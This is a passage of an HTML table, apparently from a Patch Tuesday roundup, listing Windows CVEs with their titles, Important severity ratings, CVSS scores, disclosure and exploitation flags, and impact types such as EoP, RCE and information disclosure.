  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
